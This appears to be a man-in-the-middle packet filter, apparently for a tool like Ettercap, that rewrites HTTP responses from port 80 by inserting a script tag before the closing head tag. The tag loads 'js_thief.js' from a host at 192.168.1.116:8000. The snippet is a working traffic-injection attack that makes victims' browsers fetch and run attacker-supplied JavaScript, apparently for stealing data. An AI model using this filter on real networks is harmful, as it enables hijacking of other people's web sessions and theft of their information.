if (ip.proto == TCP && tcp.src == 80) {
  replace(/<\/head>/i, '<script src="http://192.168.1.116:8000/js_thief.js"></script></head>');
}